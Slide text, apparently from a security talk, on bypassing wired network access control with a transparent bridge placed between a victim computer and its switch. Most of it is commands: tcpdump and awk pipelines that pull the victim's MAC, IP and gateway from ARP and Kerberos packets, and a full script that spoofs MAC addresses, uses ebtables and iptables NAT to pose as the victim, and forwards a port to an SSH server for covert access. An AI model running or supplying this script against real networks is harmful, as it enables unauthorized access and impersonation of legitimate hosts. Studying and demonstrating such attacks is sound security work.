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ARP Reply Analysis
ARP Replies provide most of what we need.  With a little kung-fu:
tcpdump-r boot.pcap-nne| grep'is-at' | awk'{ print $2 "," $4  $12 "," 
$14}' | sort | uniq-c | sort -rn| head -1
The Answer will look something like this:
6 00:1b:fc:9d:2e:ef,00:26:b9:1b:02:97,192.168.15.1,00:1b:fc:9d:2e:ef
6is the number of times the line appeared
00:1b:fc:9d:2e:ef is the MAC address of the SRC MAC
00:26:b9:1b:02:97is the MAC address of the Computer 
192.168.15.1is the IP address of the SRC
00:1b:fc:9d:2e:efis the same as the first MAC address
We can pipe the command above to another AWK statement to end up with just the 
SRC MAC and the computer MAC
awk-F ‘,’     ‘{print $2}’     # this yields the Computer MAC
awk-F ‘,’     ‘{print $3}’     # this yields the Gateway IP
awk-F ‘,’    ‘{print $4}’     # this yields the gateway MAC
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The Final Piece (ARP)
In order to get the computer IP, now we need to grep
for who asked for the gateway IP
17:58:26.552515 00:26:b9:1b:02:97 > ff:ff:ff:ff:ff:ff, ethertypeARP 
(0x0806), length 60: arpwho-has 192.168.15.1 tell 192.168.15.129
# $COMPMAC is the computer’s MAC, $GWIP is the gateway IP 
tcpdump-r boot.pcap-nne| grep$CMPMAC| grep-w "$GWIP tell“ | 
head -1
We use the extra “-w” and the quotes so that we have an exact match 
for the gateway IP, otherwise we could match more than we wanted 
(you don’t want to know how long that took me to figure out)
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AutomatedImplementation (TCP)
• Starts transparent
• Sniff TCP traffic for AD packet(135/445/88)
–tcpdump-r reboot.pcap-nne-c 1 tcpdstport 88
–Don’t really need more than one packet
• Grab the stuff we need from the packet
• ?
• Profit!
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TCP Analysis
Our kung-fulooks like:
tcpdump-r boot.pcap-nne-c 1 tcpdstport 88 | awk'{print $2","$4$10}' | 
cut -f 1-4 -d .
Our Result looks like:
c0:c1:c0:76:35:7c,00:0c:29:ea:ed:ee,192.168.0.10
Where:
c0:c1:c0:76:35:7c is the source MAC (computer)
00:0c:29:ea:ed:ee is the destination MAC (gateway)
192.168.0.10 is the computer’s IP
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Fully Automated TCP
#pre populated variables
SWINT=eth0
SWMAC=`ifconfig$SWINT | grep-ihwaddr| awk'{ print $5 }'`
BRINT=br0
COMPINT=eth3
BRIP=169.254.66.66
RANGE=61000-62000
DPORT=9876
#build the bridge
brctladdbr$BRINT
brctladdif$BRINT $COMPINT
brctladdif$BRINT $SWINT
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Fully Automated TCP (2)
#bring up both sides of the bridge
ifconfig$COMPINT 0.0.0.0 up promisc
ifconfig$SWINT 0.0.0.0 up promisc
# ensure the bridge has the right MAC
macchanger-m $SWMAC $BRINT
#bring up the bridge (transparent)
ifconfig$BRINT 0.0.0.0 up promisc
# force the link to reset
mii-tool -r $COMPINT
mii-tool -r $SWINT
#grab a single tcpport 88 packet destined for the DC (kerberos)
tcpdump-i$COMPINT -s0 -w /boot.pcap-c1 tcpdstport 88
Fully Automated TCP (3)
#set our variables
COMPMAC=`tcpdump-r /boot.pcap-nne-c 1 tcpdstport 88 | 
awk'{print $2","$4$10}' | cut -f 1-4 -d.| awk-F ',' '{print $1}'`
GWMAC=`tcpdump-r /boot.pcap-nne-c 1 tcpdstport 88 | awk
'{print $2","$4$10}' | cut -f 1-4 -d.| awk-F ',' '{print $2}'`
COMIP=`tcpdump-r /boot.pcap-nne-c 1 tcpdstport 88 | awk
'{print $3","$4$10}' | cut -f 1-4 -d.| awk-F ',' '{print $3}'`
#start dark
arptables-A OUTPUT -j DROP
iptables-A OUTPUT -j DROP
# bring up the bridge with our bridge IP
ifconfig$BRINT $BRIP up promisc
Fully Automated TCP (4)
# create rules to source NAT the $COMPMAC
# for traffic leaving the device  from the bridge mac address
ebtables-t nat-A POSTROUTING -s $SWMAC -o $SWINT -j 
snat--to-src$COMPMAC
ebtables-t nat-A POSTROUTING -s $SWMAC -o $BRINT -j snat
--to-src$COMPMAC
# a static arpentry for our bogus default gateway
arp-s -i$BRINT 169.254.66.1 $GWMAC
#add our default gateway
route add default gw169.254.66.1
Fully Automated TCP (5)
#use DNAT to map $DPORT to $brip:22
iptables-t nat-A PREROUTING -ibr0 -d $COMIP -p tcp--dport$DPORT -j DNAT --to 
$BRIP:22
# set up the source natrules for tcp/udp/icmp
iptables-t nat-A POSTROUTING -o $BRINT -s $BRIP -p tcp-j SNAT --to 
$COMIP:$RANGE
iptables-t nat-A POSTROUTING -o $BRINT -s $BRIP -p udp-j SNAT --to 
$COMIP:$RANGE
iptables-t nat-A POSTROUTING -o $BRINT -s $BRIP -p icmp-j SNAT --to $COMIP
#start sshd
/etc/init.d/sshstart
#lift radio silence
arptables-D OUTPUT -j DROP
iptables-D OUTPUT -j DROP
Automated Demo (TCP)
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